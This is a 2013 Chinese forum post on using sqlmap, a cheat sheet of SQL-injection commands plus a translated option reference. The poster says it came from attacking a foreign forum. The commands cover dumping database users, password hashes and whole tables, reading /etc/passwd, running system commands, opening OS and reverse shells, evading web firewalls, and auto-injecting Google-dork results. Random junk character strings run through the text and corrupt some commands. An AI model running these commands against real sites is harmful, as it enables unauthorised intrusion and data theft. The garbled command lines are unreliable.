找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2612|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
$ g6 D% F1 t# b4 |% F3 wsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
2 |$ {7 W/ a1 Y& V/ u5 e8 usqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名# v* J+ P* j( H9 N
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
, Q9 o4 u8 s8 t
& f- Q1 N6 E; Ssqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v) L; I# p7 R, }! z8 x4 T& S
0 #获取字段内容
5 ]4 m4 ^: t* @/ s: d: W, M
7 d/ R1 B, M2 [' K" e******************信息获取******************9 w- [& _! X+ J! y: N, N
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型$ ?( o8 w! i' M+ b# a2 O
sqlmap -u “http://url/news?id=1″ –users #列数据库用户" P3 G* _, F. V2 \" `
sqlmap -u “http://url/news?id=1″ –dbs#列数据库! L* z) k8 [; q2 Y% E+ _( M8 T; V
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码1 N% }  X$ B$ p6 Q
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码% i" F5 u9 M0 D. v
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”# D/ L2 G+ A/ @
–start 1 –stop 20 #列出指定字段,列出20 条4 g; J9 G, n* c" h1 [- L
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表: _. L$ z8 o; d. P: C$ }7 h6 c
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
) H+ X; a4 t9 g1 psqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
, B+ f) L, w1 B- `+ I# S. usqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)2 q/ I: L2 q1 f, p" O, p3 ~
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表; y1 I1 Y6 w# f# z9 k  Z- v% j
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录1 |3 }# H4 ?* Y4 s
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入+ f; x3 Q6 `# J8 c, e# z
sqlmap -u “http://url/news?id=1″-b #获取banner信息% R  `" E2 _1 u) ~8 W. ]/ l* F
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
4 G, h2 M" ]/ qsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型. ?  p- n  G1 r2 Y" q/ K" M
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入$ n/ d- }5 F3 C5 c/ s! z7 e
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
( ~0 x$ L8 j( Nsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
8 X1 ?: Q: @) P( V% m0 ~sqlmap -u “http://url/news?id=1″ –file /etc/passwd0 {7 ^$ j7 \- \2 V6 t+ L
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令4 D1 Y# d  Q) u
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell2 G0 ?: p( \( p3 k. e. p; e
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
6 q0 Y# Q( M, N, I6 d2 G  Asqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
2 M- H- m3 K* m! s' Q3 \* [sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
7 X# m& a8 N2 W7 w) b- O6 e- m+ P9 `" j***********高级用法*************
( A, t4 T8 X% K, V- M" Z5 O2 c-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
* i& V2 Z; |' v( y, @, a9 |- ^sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
2 q/ R4 ?6 q1 f+ u" F; w–technique   测试指定注入类型\使用的技术/ j, q3 b- w9 h
不加参数默认测试所有注入技术% f" m: l2 Z# \# ^0 |
•     B: 基于布尔的SQL 盲注- z( A+ j; T) c+ E' O8 o/ D
•     E: 基于显错sql 注入
7 w! t" Y3 w* o! {2 @•     U: 基于UNION 注入4 _' B7 x- ?; f. p& U
•     S: 叠层sql 注入) u* O2 g8 z, p, O6 I. i0 U
•     T: 基于时间盲注
2 }0 }5 k! r. y7 e1 T; h' M–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
2 E' _4 X+ W) p' N- s1 e, l! d, p8 }/ }–tamper 插件所在目录. D9 I9 j4 M7 ^: ^
\sqlmap-dev\tamper
( L2 E, ]" r. I) O5 {sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
* K. ]! ~& f% Y3 X+ L' B9 E5 Mlevel 执行测试等级 攻击实例:
+ u3 \1 V, y$ `, m! @Sqlmap -u “http://url/news?id=1&Submit=Submit”
# {. }3 O- e; @- s& U–cookie=”PHPSESSID=41aa833e6d0d
7 E1 H. `. u8 \5 w28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user& u& ~& e+ g& ]0 j9 R
–password2 E# a! w* t2 E' q) w' g. S
参考文档:http://sqlmap.sourceforge.net/doc/README.html
# ?- @, J. v2 K7 {***********安装最新版本*************4 J! y- f# r: j4 q! Y1 s
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版3 c1 d- g' ]4 I$ Y1 S
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev$ t; A% @( m% \) K5 p
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
* m7 O, l5 x$ A( \% t* Hsudo vim /home/当前用户/.bashrc
8 `+ m4 H& g* G+ D#任意位置加上:
6 S/ a  Q7 p+ x/ U  [6 C* @- Ialias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效( L5 ?$ E! x9 I8 J; T) b, Q
如果想对所有用户有效 可设置全局 编辑下面的文件4 y- y7 e. q4 H+ w1 B/ s
vim /etc/profile/ h  c# {  Z" j7 \, Q
同样加上:
# j5 s+ ]4 M2 }' f# jalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
: _8 {6 `$ x7 P7 U( r******************windows 7 (x64) sqlmap install (SVN)************
2 Y2 c1 b& E- ]* Yhttp://www.python.org/getit/ 安装python6 l# H5 c1 b; }2 t6 d& p
http://www.sliksvn.com/en/download 安装windows svn client: d" b4 j# s, I( R
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
( a- _  d* g% i! d7 ^, H安装sqlmap
2 s. S- N5 g1 s2 J9 z7 [- k*修改环境变量
" ^: j* c* r2 }. ?–version             显示程序的版本号并退出
0 r" Q+ `6 n; X- k$ `-h, –help            显示此帮助消息并退出; C. \7 Z. ~' V/ g0 t
-v VERBOSE            详细级别:0-6(默认为1)
% q6 D; Q3 }  n8 tTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
3 {' E' n/ P& I4 r2 e-d DIRECT           直接连接到数据库。- H9 D9 G# G# U! o
-u URL, –url=URL   目标URL。9 l, z) g/ ~# ^3 |& y' b
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。! x* |& S: P3 s  P6 j2 u
-r REQUESTFILE      从一个文件中载入HTTP 请求。
% t  J+ w8 K- q* H4 F0 Q7 U& ]; j-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
0 A3 f& b9 X9 j4 p( p/ x* c% p7 U-c CONFIGFILE       从INI 配置文件中加载选项。
; ^' ?- _1 ^" b/ Z/ L3 m9 |Request(请求)::
& O+ m/ u" e. D3 |$ _8 l9 C  z- B  @7 P这些选项可以用来指定如何连接到目标URL。4 B9 q  x% l5 J$ {/ P
–data=DATA         通过POST 发送的数据字符串9 h& L- ~2 g7 ?5 z+ @
–cookie=COOKIE     HTTP Cookie 头0 d/ i. r8 t; O" l& m1 A
–cookie-urlencode  URL 编码生成的cookie 注入4 G% F/ ]7 s/ u$ H+ S1 D8 m/ L! z
–drop-set-cookie   忽略响应的Set –Cookie 头信息  ]$ a5 k5 V' x- ~( v, ]! w
' d' H  P1 g8 j: f2 ]7 \
–user-agent=AGENT  指定  HTTP User –Agent 头' v5 ~. n0 {7 F4 Z# }$ D
–random-agent      使用随机选定的HTTP User –Agent 头
, i0 [( a1 X+ c8 _7 q8 Z3 `–referer=REFERER   指定  HTTP Referer 头8 s$ e" ]  j2 e7 q* ?8 e
–headers=HEADERS   换行分开,加入其他的HTTP 头
, l8 \5 n9 J$ A  {–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)# w! m4 I! g$ B3 w0 Q# ?4 w+ i
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)' a+ k6 _; p/ J; R3 C$ t
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
# e3 g9 f: ~' B3 E: x–proxy=PROXY       使用HTTP 代理连接到目标URL( a5 i" |; ?* G, W( q, C' X( D- ?
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码); v/ }: X6 J: c) A  x
–ignore-proxy      忽略系统默认的HTTP 代理+ y1 b& ]- }/ `% N' Z
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
# K$ Z7 {$ `$ T6 V6 i–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)& b5 Z( N  m' ?' X
–retries=RETRIES   连接超时后重新连接的时间(默认3)
6 z. i( `% ?# y% j( R–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
" V: R7 [8 c& }& z1 ^' m3 y5 _7 Y–safe-url=SAFURL   在测试过程中经常访问的url 地址
; V; D6 ^" u' C–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL. r7 m7 Q4 O1 O
Optimization(优化): 这些选项可用于优化SqlMap 的性能。6 Q' {, Z. q* f. a
-o                  开启所有优化开关
7 {  T- K6 {! Z2 J4 N. j) r) b–predict-output    预测常见的查询输出
  ~5 F* j  \9 {! H* d–keep-alive        使用持久的HTTP(S)连接
6 K/ i/ H- N7 h7 W7 l* f' n! @–null-connection   从没有实际的HTTP 响应体中检索页面长度  b9 \1 l. ~' l* U
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
+ t5 [8 T& U$ u3 \6 `- M8 `Injection(注入):
" F: A% n: H7 Q这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。; |0 c. N2 w6 A! t2 e+ n5 J
-p TESTPARAMETER    可测试的参数(S)
+ j# o  @: v4 v; {* [–dbms=DBMS         强制后端的DBMS 为此值1 a9 m; `. v- r0 M0 {0 q
–os=OS             强制后端的DBMS 操作系统为这个值' j/ V5 D; @. T3 M
–prefix=PREFIX     注入payload 字符串前缀6 N2 c# p/ n6 ^( G/ p
–suffix=SUFFIX     注入 payload 字符串后缀
. M$ h2 Y* W. _5 N% b% W–tamper=TAMPER     使用给定的脚本(S)篡改注入数据0 N) T9 ~" F3 y
Detection(检测):. i; X) e' L" M
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
. }  }( c' [0 g+ o8 Q* Q! i–level=LEVEL       执行测试的等级(1-5,默认为1)
% l2 \+ L# s6 ]6 D8 M  j* k+ E- Y–risk=RISK         执行测试的风险(0-3,默认为1)9 Y: \# p$ A: O5 z% G! h* K
–string=STRING     查询时有效时在页面匹配字符串
. g0 |* a8 n) a+ z6 b–regexp=REGEXP     查询时有效时在页面匹配正则表达式( |/ l( u6 ~1 j3 r& R- _' F% v0 n6 N5 _# j8 ^
–text-only         仅基于在文本内容比较网页; H* v' A- N3 e4 Y$ n' Q$ c: m
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。5 K2 b3 ]2 q; _
–technique=TECH    SQL 注入技术测试(默认BEUST)
6 K0 k2 j1 K% I5 `7 V( n–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
3 G1 h0 j, ?: [, |& v; {–union-cols=UCOLS  定列范围用于测试UNION 查询注入! |  x8 m5 |: |. ^0 Z5 n
–union-char=UCHAR  用于暴力猜解列数的字符% A- ~& \7 d- ^  n2 O0 F
Fingerprint(指纹):' Z# W  N- i. S' |, O
-f, –fingerprint     执行检查广泛的DBMS 版本指纹, o" e- V& ]: _0 F' L5 }
Enumeration(枚举):
0 l5 ^# I4 c  [$ D. p% C
" c6 |$ k! v7 K; @; m0 v这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
  k  k# r. n' [5 V. A-b, –banner        检索数据库管理系统的标识' I- G$ q- e- h! v# H3 D/ p
–current-user      检索数据库管理系统当前用户
6 @! R- C, e  F# \0 h–current-db        检索数据库管理系统当前数据库7 g) k; l7 ?- w
–is-dba            检测DBMS 当前用户是否DBA- k2 T8 L" _4 N& W% w
–users             枚举数据库管理系统用户
6 Q7 T  l# A& ^2 b% u# @' I3 e–passwords         枚举数据库管理系统用户密码哈希
/ z; ]% b. B/ D' v: R2 `–privileges        枚举数据库管理系统用户的权限$ |5 O) V/ L, C3 F
–roles             枚举数据库管理系统用户的角色* p; B6 [* o3 Z7 M, _( V2 i/ N
–dbs               枚举数据库管理系统数据库
2 f- O( u& V& G! D% X( d) e. z–tables            枚举的DBMS 数据库中的表  v( Y) ?. k$ T$ M6 l
–columns           枚举DBMS 数据库表列
6 S& V$ E7 `7 A+ Q–dump              转储数据库管理系统的数据库中的表项
% E% ?5 Y  @/ t  ~–dump-all          转储所有的DBMS 数据库表中的条目0 ]7 n8 d7 r, K. ?- Q. c
–search            搜索列(S),表(S)和/或数据库名称(S)
) T% s, ]' S- ~0 M-D DB               要进行枚举的数据库名" E9 A3 J  N6 u4 \( ?+ Q8 `
-T TBL              要进行枚举的数据库表: W# n; }, Q  x+ K. d. x
-C COL              要进行枚举的数据库列! Y- N9 B: O$ g& f3 R
-U USER             用来进行枚举的数据库用户
! f3 l2 O' F. g8 h  y7 z  t( v- C' h–exclude-sysdbs    枚举表时排除系统数据库
" Q8 r* P3 C$ k6 ~* B0 l0 s; s–start=LIMITSTART  第一个查询输出进入检索
# d" B5 y! s, U–stop=LIMITSTOP    最后查询的输出进入检索" p; X. g2 M( r* {2 J  u
–first=FIRSTCHAR   第一个查询输出字的字符检索
9 `! u/ @6 i0 O3 b) s0 p% _–last=LASTCHAR     最后查询的输出字字符检索
  f+ g/ n( n4 v: o9 F& i2 r–sql-query=QUERY   要执行的SQL 语句
% F! T$ |2 [8 s( |( z–sql-shell         提示交互式SQL 的shell. ~. q( ^) @$ X3 d  a8 I. x
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
; H& p! e' w. G5 L% q2 v–common-tables     检查存在共同表& v% ~9 Q+ I( b5 f1 f
–common-columns    检查存在共同列
" z6 t0 i# U/ \9 @User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
/ Y- e. w+ y1 l' P- C% C9 j–udf-inject        注入用户自定义函数
7 v. L2 B! `* y' Y–shared-lib=SHLIB  共享库的本地路径2 y# r  O( I. G. P
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- T# b4 \! S& S- T: V–file-read=RFILE   从后端的数据库管理系统文件系统读取文件6 d4 i  `0 O+ [: v
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
$ x: Z# [7 g+ S6 V  C. `+ n# W–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径8 N7 _: m7 z2 N7 k# ~
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
& G9 e! x* |7 [/ p: |; W: l–os-cmd=OSCMD      执行操作系统命令! D6 v" i  s$ R/ G
–os-shell          交互式的操作系统的shell
1 f# |$ D$ K& i9 A–os-pwn            获取一个OOB shell,meterpreter 或VNC
9 b# H/ X% b' I–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC. R) B( r. @: S. w4 F" F8 K
–os-bof            存储过程缓冲区溢出利用( k5 X. a! M# ~( [9 c+ x$ u
–priv-esc          数据库进程用户权限提升
  l' H$ p% r6 \6 t3 Y" F3 M0 x% l–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
* {3 j2 Z& Q: n; L5 G8 A  L1 @) i–tmp-path=TMPPATH  远程临时文件目录的绝对路径1 ^$ d; `% I/ m' x! j" j2 w
1 ~8 H# x$ L# i
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。5 q* m' X4 k) @8 u2 l3 l# }* z
–reg-read          读一个Windows 注册表项值6 b8 X# u+ P" f- B8 m
–reg-add           写一个Windows 注册表项值数据/ @9 t, L) B4 N9 R" }- l. a) K
–reg-del           删除Windows 注册表键值
- [2 J/ g; x4 n' G* ]7 u( U9 Y–reg-key=REGKEY    Windows 注册表键
4 L3 ?9 t& h0 w1 `–reg-value=REGVAL  Windows 注册表项值
8 C/ ]4 e) _  n, f; p1 K. D–reg-data=REGDATA  Windows 注册表键值数据
! i' m( ?9 S) L3 }0 ~–reg-type=REGTYPE  Windows 注册表项值类型9 q, X9 I/ c( p
General(一般): 这些选项可以用来设置一些一般的工作参数。) _( r. K  e, O# m
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
9 v2 Q9 |1 n4 Q" @; r/ A/ O7 [-s SESSIONFILE      保存和恢复检索会话文件的所有数据
) U6 K* Y" s$ ^% R–flush-session     刷新当前目标的会话文件
9 z+ W% l2 Y8 k–fresh-queries     忽略在会话文件中存储的查询结果4 j  s$ S: P0 x: G
–eta               显示每个输出的预计到达时间  Z6 h, K1 k, X' _+ x( i
–update            更新SqlMap
2 I) L' @4 |3 _6 y9 b- _- y–save              file 保存选项到INI 配置文件
+ H! A3 i  T9 c3 U8 T–batch             从不询问用户输入,使用所有默认配置。
7 o8 l! ?! [/ S% Q- o( L! xMiscellaneous(杂项):1 y" t+ @0 h; @9 ^  |
–beep              发现SQL 注入时提醒
' u7 ^0 o0 F. K& L  C; z: y+ o: X2 W–check-payload     IDS 对注入payloads 的检测测试/ u5 \0 C& \+ x( t* Q
–cleanup           SqlMap 具体的UDF 和表清理DBMS
# Z8 [: a; A2 j( ?- i7 x- X–forms             对目标URL 的解析和测试形式! ]5 }. _! t% B$ s, U
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果3 P; y4 S/ ]! E2 a  [
–page-rank         Google dork 结果显示网页排名(PR)! z% [4 U5 k/ }, i/ }3 t* u7 n8 ?
–parse-errors      从响应页面解析数据库管理系统的错误消息
. i* i# V3 s8 x& e–replicate         复制转储的数据到一个sqlite3 数据库0 V8 {) p9 I9 c) A3 V4 K2 r
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址! I* ^2 ?1 k. ^2 H5 |
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表